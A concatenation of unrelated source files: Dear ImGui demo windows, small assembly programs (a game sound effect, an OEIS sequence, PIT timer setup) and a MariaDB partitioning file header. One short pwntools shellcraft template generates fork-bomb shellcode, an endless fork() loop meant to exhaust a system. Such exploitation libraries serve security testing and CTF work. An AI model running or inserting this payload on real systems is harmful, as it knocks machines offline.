static void Step(ImGuiSizeCallbackData* data) { float step = (float)(int)(intptr_t)data->UserData; data->DesiredSize = ImVec2((int)(data->DesiredSize.x / step + 0.5f) * step, (int)(data->DesiredSize.y / step + 0.5f) * step); }
};
const char* test_desc[] =
{
"Resize vertical only",
"Resize horizontal only",
"Width > 100, Height > 100",
"Width 400-500",
"Height 400-500",
"Custom: Always Square",
"Custom: Fixed Steps (100)",
};
static bool auto_resize = false;
static int type = 0;
static int display_lines = 10;
if (type == 0) ImGui::SetNextWindowSizeConstraints(ImVec2(-1, 0), ImVec2(-1, FLT_MAX)); // Vertical only
if (type == 1) ImGui::SetNextWindowSizeConstraints(ImVec2(0, -1), ImVec2(FLT_MAX, -1)); // Horizontal only
if (type == 2) ImGui::SetNextWindowSizeConstraints(ImVec2(100, 100), ImVec2(FLT_MAX, FLT_MAX)); // Width > 100, Height > 100
if (type == 3) ImGui::SetNextWindowSizeConstraints(ImVec2(400, -1), ImVec2(500, -1)); // Width 400-500
if (type == 4) ImGui::SetNextWindowSizeConstraints(ImVec2(-1, 400), ImVec2(-1, 500)); // Height 400-500
if (type == 5) ImGui::SetNextWindowSizeConstraints(ImVec2(0, 0), ImVec2(FLT_MAX, FLT_MAX), CustomConstraints::Square); // Always Square
if (type == 6) ImGui::SetNextWindowSizeConstraints(ImVec2(0, 0), ImVec2(FLT_MAX, FLT_MAX), CustomConstraints::Step, (void*)(intptr_t)100); // Fixed Step
ImGuiWindowFlags flags = auto_resize ? ImGuiWindowFlags_AlwaysAutoResize : 0;
if (ImGui::Begin("Example: Constrained Resize", p_open, flags))
{
if (ImGui::Button("200x200")) { ImGui::SetWindowSize(ImVec2(200, 200)); } ImGui::SameLine();
if (ImGui::Button("500x500")) { ImGui::SetWindowSize(ImVec2(500, 500)); } ImGui::SameLine();
if (ImGui::Button("800x200")) { ImGui::SetWindowSize(ImVec2(800, 200)); }
ImGui::SetNextItemWidth(200);
ImGui::Combo("Constraint", &type, test_desc, IM_ARRAYSIZE(test_desc));
ImGui::SetNextItemWidth(200);
ImGui::DragInt("Lines", &display_lines, 0.2f, 1, 100);
ImGui::Checkbox("Auto-resize", &auto_resize);
for (int i = 0; i < display_lines; i++)
ImGui::Text("%*sHello, sailor! Making this line long enough for the example.", i * 4, "");
}
ImGui::End();
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Simple Overlay / ShowExampleAppSimpleOverlay()
//-----------------------------------------------------------------------------
// Demonstrate creating a simple static window with no decoration
// + a context-menu to choose which corner of the screen to use.
static void ShowExampleAppSimpleOverlay(bool* p_open)
{
const float DISTANCE = 10.0f;
static int corner = 0;
ImGuiIO& io = ImGui::GetIO();
ImGuiWindowFlags window_flags = ImGuiWindowFlags_NoDecoration | ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoFocusOnAppearing | ImGuiWindowFlags_NoNav;
if (corner != -1)
{
window_flags |= ImGuiWindowFlags_NoMove;
ImVec2 window_pos = ImVec2((corner & 1) ? io.DisplaySize.x - DISTANCE : DISTANCE, (corner & 2) ? io.DisplaySize.y - DISTANCE : DISTANCE);
ImVec2 window_pos_pivot = ImVec2((corner & 1) ? 1.0f : 0.0f, (corner & 2) ? 1.0f : 0.0f);
ImGui::SetNextWindowPos(window_pos, ImGuiCond_Always, window_pos_pivot);
}
ImGui::SetNextWindowBgAlpha(0.35f); // Transparent background
if (ImGui::Begin("Example: Simple overlay", p_open, window_flags))
{
ImGui::Text("Simple overlay\n" "in the corner of the screen.\n" "(right-click to change position)");
ImGui::Separator();
if (ImGui::IsMousePosValid())
ImGui::Text("Mouse Position: (%.1f,%.1f)", io.MousePos.x, io.MousePos.y);
else
ImGui::Text("Mouse Position: <invalid>");
if (ImGui::BeginPopupContextWindow())
{
if (ImGui::MenuItem("Custom", NULL, corner == -1)) corner = -1;
if (ImGui::MenuItem("Top-left", NULL, corner == 0)) corner = 0;
if (ImGui::MenuItem("Top-right", NULL, corner == 1)) corner = 1;
if (ImGui::MenuItem("Bottom-left", NULL, corner == 2)) corner = 2;
if (ImGui::MenuItem("Bottom-right", NULL, corner == 3)) corner = 3;
if (p_open && ImGui::MenuItem("Close")) *p_open = false;
ImGui::EndPopup();
}
}
ImGui::End();
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Manipulating Window Titles / ShowExampleAppWindowTitles()
//-----------------------------------------------------------------------------
// Demonstrate using "##" and "###" in identifiers to manipulate ID generation.
// This apply to all regular items as well.
// Read FAQ section "How can I have multiple widgets with the same label?" for details.
static void ShowExampleAppWindowTitles(bool*)
{
// By default, Windows are uniquely identified by their title.
// You can use the "##" and "###" markers to manipulate the display/ID.
// Using "##" to display same title but have unique identifier.
ImGui::SetNextWindowPos(ImVec2(100, 100), ImGuiCond_FirstUseEver);
ImGui::Begin("Same title as another window##1");
ImGui::Text("This is window 1.\nMy title is the same as window 2, but my identifier is unique.");
ImGui::End();
ImGui::SetNextWindowPos(ImVec2(100, 200), ImGuiCond_FirstUseEver);
ImGui::Begin("Same title as another window##2");
ImGui::Text("This is window 2.\nMy title is the same as window 1, but my identifier is unique.");
ImGui::End();
// Using "###" to display a changing title but keep a static identifier "AnimatedTitle"
char buf[128];
sprintf(buf, "Animated title %c %d###AnimatedTitle", "|/-\\"[(int)(ImGui::GetTime() / 0.25f) & 3], ImGui::GetFrameCount());
ImGui::SetNextWindowPos(ImVec2(100, 300), ImGuiCond_FirstUseEver);
ImGui::Begin(buf);
ImGui::Text("This window has a changing title.");
ImGui::End();
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Custom Rendering using ImDrawList API / ShowExampleAppCustomRendering()
//-----------------------------------------------------------------------------
// Demonstrate using the low-level ImDrawList to draw custom shapes.
static void ShowExampleAppCustomRendering(bool* p_open)
{
if (!ImGui::Begin("Example: Custom rendering", p_open))
{
ImGui::End();
return;
}
// Tip: If you do a lot of custom rendering, you probably want to use your own geometrical types and benefit of
// overloaded operators, etc. Define IM_VEC2_CLASS_EXTRA in imconfig.h to create implicit conversions between your
// types and ImVec2/ImVec4. Dear ImGui defines overloaded operators but they are internal to imgui.cpp and not
// exposed outside (to avoid messing with your types) In this example we are not using the maths operators!
if (ImGui::BeginTabBar("##TabBar"))
{
if (ImGui::BeginTabItem("Primitives"))
{
ImGui::PushItemWidth(-ImGui::GetFontSize() * 10);
ImDrawList* draw_list = ImGui::GetWindowDrawList();
// Draw gradients
// (note that those are currently exacerbating our sRGB/Linear issues)
// Calling ImGui::GetColorU32() multiplies the given colors by the current Style Alpha, but you may pass the IM_COL32() directly as well..
ImGui::Text("Gradients");
ImVec2 gradient_size = ImVec2(ImGui::CalcItemWidth(), ImGui::GetFrameHeight());
{
ImVec2 p0 = ImGui::GetCursorScreenPos();
ImVec2 p1 = ImVec2(p0.x + gradient_size.x, p0.y + gradient_size.y);
ImU32 col_a = ImGui::GetColorU32(IM_COL32(0, 0, 0, 255));
ImU32 col_b = ImGui::GetColorU32(IM_COL32(255, 255, 255, 255));
draw_list->AddRectFilledMultiColor(p0, p1, col_a, col_b, col_b, col_a);
ImGui::InvisibleButton("##gradient1", gradient_size);
}
{
ImVec2 p0 = ImGui::GetCursorScreenPos();
ImVec2 p1 = ImVec2(p0.x + gradient_size.x, p0.y + gradient_size.y);
ImU32 col_a = ImGui::GetColorU32(IM_COL32(0, 255, 0, 255));
ImU32 col_b = ImGui::GetColorU32(IM_COL32(255, 0, 0, 255));
draw_list->AddRectFilledMultiColor(p0, p1, col_a, col_b, col_b, col_a);
ImGui::InvisibleButton("##gradient2", gradient_size);
}
// Draw a bunch of primitives
ImGui::Text("All primitives");
static float sz = 36.0f;
static float thickness = 3.0f;
static int ngon_sides = 6;
static bool circle_segments_override = false;
static int circle_segments_override_v = 12;
static ImVec4 colf = ImVec4(1.0f, 1.0f, 0.4f, 1.0f);
ImGui::DragFloat("Size", &sz, 0.2f, 2.0f, 72.0f, "%.0f");
ImGui::DragFloat("Thickness", &thickness, 0.05f, 1.0f, 8.0f, "%.02f");
ImGui::SliderInt("N-gon sides", &ngon_sides, 3, 12);
ImGui::Checkbox("##circlesegmentoverride", &circle_segments_override);
ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x);
if (ImGui::SliderInt("Circle segments", &circle_segments_override_v, 3, 40))
circle_segments_override = true;
ImGui::ColorEdit4("Color", &colf.x);
const ImVec2 p = ImGui::GetCursorScreenPos();
const ImU32 col = ImColor(colf);
const float spacing = 10.0f;
const ImDrawCornerFlags corners_none = 0;
const ImDrawCornerFlags corners_all = ImDrawCornerFlags_All;
const ImDrawCornerFlags corners_tl_br = ImDrawCornerFlags_TopLeft | ImDrawCornerFlags_BotRight;
const int circle_segments = circle_segments_override ? circle_segments_override_v : 0;
float x = p.x + 4.0f;
float y = p.y + 4.0f;
for (int n = 0; n < 2; n++)
{
// First line uses a thickness of 1.0f, second line uses the configurable thickness
float th = (n == 0) ? 1.0f : thickness;
draw_list->AddNgon(ImVec2(x + sz * 0.5f, y + sz * 0.5f), sz * 0.5f, col, ngon_sides, th); x += sz + spacing; // N-gon
draw_list->AddCircle(ImVec2(x + sz * 0.5f, y + sz * 0.5f), sz * 0.5f, col, circle_segments, th); x += sz + spacing; // Circle
draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 0.0f, corners_none, th); x += sz + spacing; // Square
draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f, corners_all, th); x += sz + spacing; // Square with all rounded corners
draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f, corners_tl_br, th); x += sz + spacing; // Square with two rounded corners
draw_list->AddTriangle(ImVec2(x + sz * 0.5f, y), ImVec2(x + sz, y + sz - 0.5f), ImVec2(x, y + sz - 0.5f), col, th); x += sz + spacing; // Triangle
//draw_list->AddTriangle(ImVec2(x+sz*0.2f,y), ImVec2(x, y+sz-0.5f), ImVec2(x+sz*0.4f, y+sz-0.5f), col, th);x+= sz*0.4f + spacing; // Thin triangle
draw_list->AddLine(ImVec2(x, y), ImVec2(x + sz, y), col, th); x += sz + spacing; // Horizontal line (note: drawing a filled rectangle will be faster!)
draw_list->AddLine(ImVec2(x, y), ImVec2(x, y + sz), col, th); x += spacing; // Vertical line (note: drawing a filled rectangle will be faster!)
draw_list->AddLine(ImVec2(x, y), ImVec2(x + sz, y + sz), col, th); x += sz + spacing; // Diagonal line
draw_list->AddBezierCurve(ImVec2(x, y), ImVec2(x + sz * 1.3f, y + sz * 0.3f), ImVec2(x + sz - sz * 1.3f, y + sz - sz * 0.3f), ImVec2(x + sz, y + sz), col, th);
x = p.x + 4;
y += sz + spacing;
}
draw_list->AddNgonFilled(ImVec2(x + sz * 0.5f, y + sz * 0.5f), sz * 0.5f, col, ngon_sides); x += sz + spacing; // N-gon
draw_list->AddCircleFilled(ImVec2(x + sz * 0.5f, y + sz * 0.5f), sz * 0.5f, col, circle_segments); x += sz + spacing; // Circle
draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col); x += sz + spacing; // Square
draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f); x += sz + spacing; // Square with all rounded corners
draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f, corners_tl_br); x += sz + spacing; // Square with two rounded corners
draw_list->AddTriangleFilled(ImVec2(x + sz * 0.5f, y), ImVec2(x + sz, y + sz - 0.5f), ImVec2(x, y + sz - 0.5f), col); x += sz + spacing; // Triangle
//draw_list->AddTriangleFilled(ImVec2(x+sz*0.2f,y), ImVec2(x, y+sz-0.5f), ImVec2(x+sz*0.4f, y+sz-0.5f), col); x += sz*0.4f + spacing; // Thin triangle
draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + thickness), col); x += sz + spacing; // Horizontal line (faster than AddLine, but only handle integer thickness)
draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + thickness, y + sz), col); x += spacing * 2.0f;// Vertical line (faster than AddLine, but only handle integer thickness)
draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + 1, y + 1), col); x += sz; // Pixel (faster than AddLine)
draw_list->AddRectFilledMultiColor(ImVec2(x, y), ImVec2(x + sz, y + sz), IM_COL32(0, 0, 0, 255), IM_COL32(255, 0, 0, 255), IM_COL32(255, 255, 0, 255), IM_COL32(0, 255, 0, 255));
ImGui::Dummy(ImVec2((sz + spacing) * 8.8f, (sz + spacing) * 3.0f));
ImGui::PopItemWidth();
ImGui::EndTabItem();
}
if (ImGui::BeginTabItem("Canvas"))
{
static ImVector<ImVec2> points;
static ImVec2 scrolling(0.0f, 0.0f);
static bool opt_enable_grid = true;
static bool opt_enable_context_menu = true;
static bool adding_line = false;
ImGui::Checkbox("Enable grid", &opt_enable_grid);
ImGui::Checkbox("Enable context menu", &opt_enable_context_menu);
ImGui::Text("Mouse Left: drag to add lines,\nMouse Right: drag to scroll, click for context menu.");
// Typically you would use a BeginChild()/EndChild() pair to benefit from a clipping region + own scrolling.
// Here we demonstrate that this can be replaced by simple offsetting + custom drawing + PushClipRect/PopClipRect() calls.
// To use a child window instead we could use, e.g:
// ImGui::PushStyleVar(ImGuiStyleVar_WindowPadding, ImVec2(0, 0)); // Disable padding
// ImGui::PushStyleColor(ImGuiCol_ChildBg, IM_COL32(50, 50, 50, 255)); // Set a background color
// ImGui::BeginChild("canvas", ImVec2(0.0f, 0.0f), true, ImGuiWindowFlags_NoMove);
// ImGui::PopStyleColor();
// ImGui::PopStyleVar();
// [...]
// ImGui::EndChild();
// Using InvisibleButton() as a convenience 1) it will advance the layout cursor and 2) allows us to use IsItemHovered()/IsItemActive()
ImVec2 canvas_p0 = ImGui::GetCursorScreenPos(); // ImDrawList API uses screen coordinates!
ImVec2 canvas_sz = ImGui::GetContentRegionAvail(); // Resize canvas to what's available
if (canvas_sz.x < 50.0f) canvas_sz.x = 50.0f;
if (canvas_sz.y < 50.0f) canvas_sz.y = 50.0f;
ImVec2 canvas_p1 = ImVec2(canvas_p0.x + canvas_sz.x, canvas_p0.y + canvas_sz.y);
// Draw border and background color
ImGuiIO& io = ImGui::GetIO();
ImDrawList* draw_list = ImGui::GetWindowDrawList();
draw_list->AddRectFilled(canvas_p0, canvas_p1, IM_COL32(50, 50, 50, 255));
draw_list->AddRect(canvas_p0, canvas_p1, IM_COL32(255, 255, 255, 255));
// This will catch our interactions
ImGui::InvisibleButton("canvas", canvas_sz, ImGuiButtonFlags_MouseButtonLeft | ImGuiButtonFlags_MouseButtonRight);
const bool is_hovered = ImGui::IsItemHovered(); // Hovered
const bool is_active = ImGui::IsItemActive(); // Held
const ImVec2 origin(canvas_p0.x + scrolling.x, canvas_p0.y + scrolling.y); // Lock scrolled origin
const ImVec2 mouse_pos_in_canvas(io.MousePos.x - origin.x, io.MousePos.y - origin.y);
// Add first and second point
if (is_hovered && !adding_line && ImGui::IsMouseClicked(ImGuiMouseButton_Left))
{
points.push_back(mouse_pos_in_canvas);
points.push_back(mouse_pos_in_canvas);
adding_line = true;
}
if (adding_line)
{
points.back() = mouse_pos_in_canvas;
if (!ImGui::IsMouseDown(ImGuiMouseButton_Left))
adding_line = false;
}
// Pan (we use a zero mouse threshold when there's no context menu)
// You may decide to make that threshold dynamic based on whether the mouse is hovering something etc.
const float mouse_threshold_for_pan = opt_enable_context_menu ? -1.0f : 0.0f;
if (is_active && ImGui::IsMouseDragging(ImGuiMouseButton_Right, mouse_threshold_for_pan))
{
scrolling.x += io.MouseDelta.x;
scrolling.y += io.MouseDelta.y;
}
// Context menu (under default mouse threshold)
ImVec2 drag_delta = ImGui::GetMouseDragDelta(ImGuiMouseButton_Right);
if (opt_enable_context_menu && ImGui::IsMouseReleased(ImGuiMouseButton_Right) && drag_delta.x == 0.0f && drag_delta.y == 0.0f)
ImGui::OpenPopupOnItemClick("context");
if (ImGui::BeginPopup("context"))
{
if (adding_line)
points.resize(points.size() - 2);
adding_line = false;
if (ImGui::MenuItem("Remove one", NULL, false, points.Size > 0)) { points.resize(points.size() - 2); }
if (ImGui::MenuItem("Remove all", NULL, false, points.Size > 0)) { points.clear(); }
ImGui::EndPopup();
}
// Draw grid + all lines in the canvas
draw_list->PushClipRect(canvas_p0, canvas_p1, true);
if (opt_enable_grid)
{
const float GRID_STEP = 64.0f;
for (float x = fmodf(scrolling.x, GRID_STEP); x < canvas_sz.x; x += GRID_STEP)
draw_list->AddLine(ImVec2(canvas_p0.x + x, canvas_p0.y), ImVec2(canvas_p0.x + x, canvas_p1.y), IM_COL32(200, 200, 200, 40));
for (float y = fmodf(scrolling.y, GRID_STEP); y < canvas_sz.y; y += GRID_STEP)
draw_list->AddLine(ImVec2(canvas_p0.x, canvas_p0.y + y), ImVec2(canvas_p1.x, canvas_p0.y + y), IM_COL32(200, 200, 200, 40));
}
for (int n = 0; n < points.Size; n += 2)
draw_list->AddLine(ImVec2(origin.x + points[n].x, origin.y + points[n].y), ImVec2(origin.x + points[n + 1].x, origin.y + points[n + 1].y), IM_COL32(255, 255, 0, 255), 2.0f);
draw_list->PopClipRect();
ImGui::EndTabItem();
}
if (ImGui::BeginTabItem("BG/FG draw lists"))
{
static bool draw_bg = true;
static bool draw_fg = true;
ImGui::Checkbox("Draw in Background draw list", &draw_bg);
ImGui::SameLine(); HelpMarker("The Background draw list will be rendered below every Dear ImGui windows.");
ImGui::Checkbox("Draw in Foreground draw list", &draw_fg);
ImGui::SameLine(); HelpMarker("The Foreground draw list will be rendered over every Dear ImGui windows.");
ImVec2 window_pos = ImGui::GetWindowPos();
ImVec2 window_size = ImGui::GetWindowSize();
ImVec2 window_center = ImVec2(window_pos.x + window_size.x * 0.5f, window_pos.y + window_size.y * 0.5f);
if (draw_bg)
ImGui::GetBackgroundDrawList()->AddCircle(window_center, window_size.x * 0.6f, IM_COL32(255, 0, 0, 200), 0, 10 + 4);
if (draw_fg)
ImGui::GetForegroundDrawList()->AddCircle(window_center, window_size.y * 0.6f, IM_COL32(0, 255, 0, 200), 0, 10);
ImGui::EndTabItem();
}
ImGui::EndTabBar();
}
ImGui::End();
}
//-----------------------------------------------------------------------------
// [SECTION] Example App: Documents Handling / ShowExampleAppDocuments()
//-----------------------------------------------------------------------------
// Simplified structure to mimic a Document model
struct MyDocument
{
const char* Name; // Document title
bool Open; // Set when open (we keep an array of all available documents to simplify demo code!)
bool OpenPrev; // Copy of Open from last update.
bool Dirty; // Set when the document has been modified
bool WantClose; // Set when the document
ImVec4 Color; // An arbitrary variable associated to the document
MyDocument(const char* name, bool open = true, const ImVec4& color = ImVec4(1.0f, 1.0f, 1.0f, 1.0f))
{
Name = name;
Open = OpenPrev = open;
Dirty = false;
WantClose = false;
Color = color;
}
void DoOpen() { Open = true; }
void DoQueueClose() { WantClose = true; }
void DoForceClose() { Open = false; Dirty = false; }
void DoSave() { Dirty = false; }
// Display placeholder contents for the Document
static void DisplayContents(MyDocument* doc)
{
ImGui::PushID(doc);
ImGui::Text("Document \"%s\"", doc->Name);
ImGui::PushStyleColor(ImGuiCol_Text, doc->Color);
ImGui::TextWrapped("Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.");
ImGui::PopStyleColor();
if (ImGui::Button("Modify", ImVec2(100, 0)))
doc->Dirty = true;
ImGui::SameLine();
if (ImGui::Button("Save", ImVec2(100, 0)))
doc->DoSave();
ImGui::ColorEdit3("color", &doc->Color.x); // Useful to test drag and drop and hold-dragged-to-open-tab behavior.
ImGui::PopID();
}
// Display context menu for the Document
static void DisplayContextMenu(MyDocument* doc)
{
if (!ImGui::BeginPopupContextItem())
return;
char buf[256];
sprintf(buf, "Save %s", doc->Name);
if (ImGui::MenuItem(buf, "CTRL+S", false, doc->Open))
doc->DoSave();
if (ImGui::MenuItem("Close", "CTRL+W", false, doc->Open))
doc->DoQueueClose();
ImGui::EndPopup();
}
};
struct ExampleAppDocuments
{
ImVector<MyDocument> Documents;
ExampleAppDocuments()
{
Documents.push_back(MyDocument("Lettuce", true, ImVec4(0.4f, 0.8f, 0.4f, 1.0f)));
Documents.push_back(MyDocument("Eggplant", true, ImVec4(0.8f, 0.5f, 1.0f, 1.0f)));
Documents.push_back(MyDocument("Carrot", true, ImVec4(1.0f, 0.8f, 0.5f, 1.0f)));
Documents.push_back(MyDocument("Tomato", false, ImVec4(1.0f, 0.3f, 0.4f, 1.0f)));
Documents.push_back(MyDocument("A Rather Long Title", false));
Documents.push_back(MyDocument("Some Document", false));
}
};
// [Optional] Notify the system of Tabs/Windows closure that happened outside the regular tab interface.
// If a tab has been closed programmatically (aka closed from another source such as the Checkbox() in the demo,
// as opposed to clicking on the regular tab closing button) and stops being submitted, it will take a frame for
// the tab bar to notice its absence. During this frame there will be a gap in the tab bar, and if the tab that has
// disappeared was the selected one, the tab bar will report no selected tab during the frame. This will effectively
// give the impression of a flicker for one frame.
// We call SetTabItemClosed() to manually notify the Tab Bar or Docking system of removed tabs to avoid this glitch.
// Note that this completely optional, and only affect tab bars with the ImGuiTabBarFlags_Reorderable flag.
static void NotifyOfDocumentsClosedElsewhere(ExampleAppDocuments& app)
{
for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++)
{
MyDocument* doc = &app.Documents[doc_n];
if (!doc->Open && doc->OpenPrev)
ImGui::SetTabItemClosed(doc->Name);
doc->OpenPrev = doc->Open;
}
}
void ShowExampleAppDocuments(bool* p_open)
{
static ExampleAppDocuments app;
// Options
static bool opt_reorderable = true;
static ImGuiTabBarFlags opt_fitting_flags = ImGuiTabBarFlags_FittingPolicyDefault_;
bool window_contents_visible = ImGui::Begin("Example: Documents", p_open, ImGuiWindowFlags_MenuBar);
if (!window_contents_visible)
{
ImGui::End();
return;
}
// Menu
if (ImGui::BeginMenuBar())
{
if (ImGui::BeginMenu("File"))
{
int open_count = 0;
for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++)
open_count += app.Documents[doc_n].Open ? 1 : 0;
if (ImGui::BeginMenu("Open", open_count < app.Documents.Size))
{
for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++)
{
MyDocument* doc = &app.Documents[doc_n];
if (!doc->Open)
if (ImGui::MenuItem(doc->Name))
doc->DoOpen();
}
ImGui::EndMenu();
}
if (ImGui::MenuItem("Close All Documents", NULL, false, open_count > 0))
for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++)
app.Documents[doc_n].DoQueueClose();
if (ImGui::MenuItem("Exit", "Alt+F4")) {}
ImGui::EndMenu();
}
ImGui::EndMenuBar();
}
// [Debug] List documents with one checkbox for each
for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++)
{
MyDocument* doc = &app.Documents[doc_n];
if (doc_n > 0)
ImGui::SameLine();
ImGui::PushID(doc);
if (ImGui::Checkbox(doc->Name, &doc->Open))
if (!doc->Open)
doc->DoForceClose();
ImGui::PopID();
}
ImGui::Separator();
// Submit Tab Bar and Tabs
{
ImGuiTabBarFlags tab_bar_flags = (opt_fitting_flags) | (opt_reorderable ? ImGuiTabBarFlags_Reorderable : 0);
if (ImGui::BeginTabBar("##tabs", tab_bar_flags))
{
if (opt_reorderable)
NotifyOfDocumentsClosedElsewhere(app);
// [DEBUG] Stress tests
//if ((ImGui::GetFrameCount() % 30) == 0) docs[1].Open ^= 1; // [DEBUG] Automatically show/hide a tab. Test various interactions e.g. dragging with this on.
//if (ImGui::GetIO().KeyCtrl) ImGui::SetTabItemSelected(docs[1].Name); // [DEBUG] Test SetTabItemSelected(), probably not very useful as-is anyway..
// Submit Tabs
for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++)
{
MyDocument* doc = &app.Documents[doc_n];
if (!doc->Open)
continue;
ImGuiTabItemFlags tab_flags = (doc->Dirty ? ImGuiTabItemFlags_UnsavedDocument : 0);
bool visible = ImGui::BeginTabItem(doc->Name, &doc->Open, tab_flags);
// Cancel attempt to close when unsaved add to save queue so we can display a popup.
if (!doc->Open && doc->Dirty)
{
doc->Open = true;
doc->DoQueueClose();
}
MyDocument::DisplayContextMenu(doc);
if (visible)
{
MyDocument::DisplayContents(doc);
ImGui::EndTabItem();
}
}
ImGui::EndTabBar();
}
}
// Update closing queue
static ImVector<MyDocument*> close_queue;
if (close_queue.empty())
{
// Close queue is locked once we started a popup
for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++)
{
MyDocument* doc = &app.Documents[doc_n];
if (doc->WantClose)
{
doc->WantClose = false;
close_queue.push_back(doc);
}
}
}
// Display closing confirmation UI
if (!close_queue.empty())
{
int close_queue_unsaved_documents = 0;
for (int n = 0; n < close_queue.Size; n++)
if (close_queue[n]->Dirty)
close_queue_unsaved_documents++;
if (close_queue_unsaved_documents == 0)
{
// Close documents when all are unsaved
for (int n = 0; n < close_queue.Size; n++)
close_queue[n]->DoForceClose();
close_queue.clear();
}
else
{
if (!ImGui::IsPopupOpen("Save?"))
ImGui::OpenPopup("Save?");
if (ImGui::BeginPopupModal("Save?"))
{
ImGui::Text("Save change to the following items?");
ImGui::SetNextItemWidth(-1.0f);
if (ImGui::ListBoxHeader("##", close_queue_unsaved_documents, 6))
{
for (int n = 0; n < close_queue.Size; n++)
if (close_queue[n]->Dirty)
ImGui::Text("%s", close_queue[n]->Name);
ImGui::ListBoxFooter();
}
if (ImGui::Button("Yes", ImVec2(80, 0)))
{
for (int n = 0; n < close_queue.Size; n++)
{
if (close_queue[n]->Dirty)
close_queue[n]->DoSave();
close_queue[n]->DoForceClose();
}
close_queue.clear();
ImGui::CloseCurrentPopup();
}
ImGui::SameLine();
if (ImGui::Button("No", ImVec2(80, 0)))
{
for (int n = 0; n < close_queue.Size; n++)
close_queue[n]->DoForceClose();
close_queue.clear();
ImGui::CloseCurrentPopup();
}
ImGui::SameLine();
if (ImGui::Button("Cancel", ImVec2(80, 0)))
{
close_queue.clear();
ImGui::CloseCurrentPopup();
}
ImGui::EndPopup();
}
}
}
ImGui::End();
}
// End of Demo code
#else
void ImGui::ShowAboutWindow(bool*) {}
void ImGui::ShowDemoWindow(bool*) {}
void ImGui::ShowUserGuide() {}
void ImGui::ShowStyleEditor(ImGuiStyle*) {}
#endif
#endif // #ifndef IMGUI_DISABLE
|
SFX_Healing_Machine_3_Ch4:
duty 2
unknownsfx0x10 44
unknownsfx0x20 4, 242, 0, 5
unknownsfx0x10 34
unknownsfx0x20 2, 241, 0, 5
unknownsfx0x10 8
unknownsfx0x20 1, 0, 0, 0
endchannel
|
; A140657: Powers of 2 with 3 alternatingly added and subtracted.
; 4,-1,7,5,19,29,67,125,259,509,1027,2045,4099,8189,16387,32765,65539,131069,262147,524285,1048579,2097149,4194307,8388605,16777219,33554429,67108867,134217725,268435459,536870909,1073741827,2147483645,4294967299,8589934589,17179869187,34359738365,68719476739,137438953469,274877906947,549755813885,1099511627779,2199023255549,4398046511107,8796093022205,17592186044419,35184372088829,70368744177667,140737488355325,281474976710659,562949953421309,1125899906842627,2251799813685245,4503599627370499,9007199254740989
mov $2,2
mov $3,8
lpb $0
sub $0,1
add $2,3
mul $2,2
mul $3,-1
lpe
mov $1,$2
mul $3,3
add $1,$3
sub $1,26
div $1,8
add $1,4
|
; The Programmable Interval Timer (PIT) chip
; https://wiki.osdev.org/Programmable_Interval_Timer
; PIT has four registers
; 1 mode command register (has four parts)
; 3 data registers
; I/O port Usage
; 0x40 Channel 0 data port (read/write)
; 0x41 Channel 1 data port (read/write)
; 0x42 Channel 2 data port (read/write)
; 0x43 Mode/Command register (write only, a read is ignored)
; ONLY USE CHAN 0
pit_init:
; 0=0 1,2,3=010 4,5=11 6,7=00
mov al, (1<<2) | (3<<4)
; use out instruction to write value in al to the register
out 0x43, al
; channel 0 settings
mov ax, 11931 ; 100 times per second. 1193182/100=11931
; because counter value is 16-bit
out 0x40, al
mov al, ah
out 0x40, al
ret |
<%
from pwnlib.shellcraft.amd64.linux import fork
from pwnlib.shellcraft.common import label
%>
<%docstring>
Performs a forkbomb attack.
</%docstring>
<%
dosloop = label('fork_bomb')
%>
${dosloop}:
${fork()}
jmp ${dosloop}
|
/* Copyright (c) 2005, 2017, Oracle and/or its affiliates.
Copyright (c) 2009, 2018, MariaDB
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; version 2 of the License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA */
/*
This file is a container for general functionality related
to partitioning introduced in MySQL version 5.1. It contains functionality
used by all handlers that support partitioning, such as
the partitioning handler itself and the NDB handler.
(Much of the code in this file has been split into partition_info.cc and
the header files partition_info.h + partition_element.h + sql_partition.h)
The first version was written by Mikael Ronstrom 2004-2006.
Various parts of the optimizer code was written by Sergey Petrunia.
Code have been maintained by Mattias Jonsson.
The second version was written by Mikael Ronstrom 2006-2007 with some
final fixes for partition pruning in 2008-2009 with assistance from Sergey
Petrunia and Mattias Jonsson.
The first version supports RANGE partitioning, LIST partitioning, HASH
partitioning and composite partitioning (hereafter called subpartitioning)
where each RANGE/LIST partitioning is HASH partitioned. The hash function
can either be supplied by the user or by only a list of fields (also
called KEY partitioning), where the MySQL server will use an internal
hash function.
There are quite a few defaults that can be used as well.
The second version introduces a new variant of RANGE and LIST partitioning
which is often referred to as column lists in the code variables. This
enables a user to specify a set of columns and their concatenated value
as the partition value. By comparing the concatenation of these values
the proper partition can be choosen.
*/
/* Some general useful functions */
#define MYSQL_LEX 1
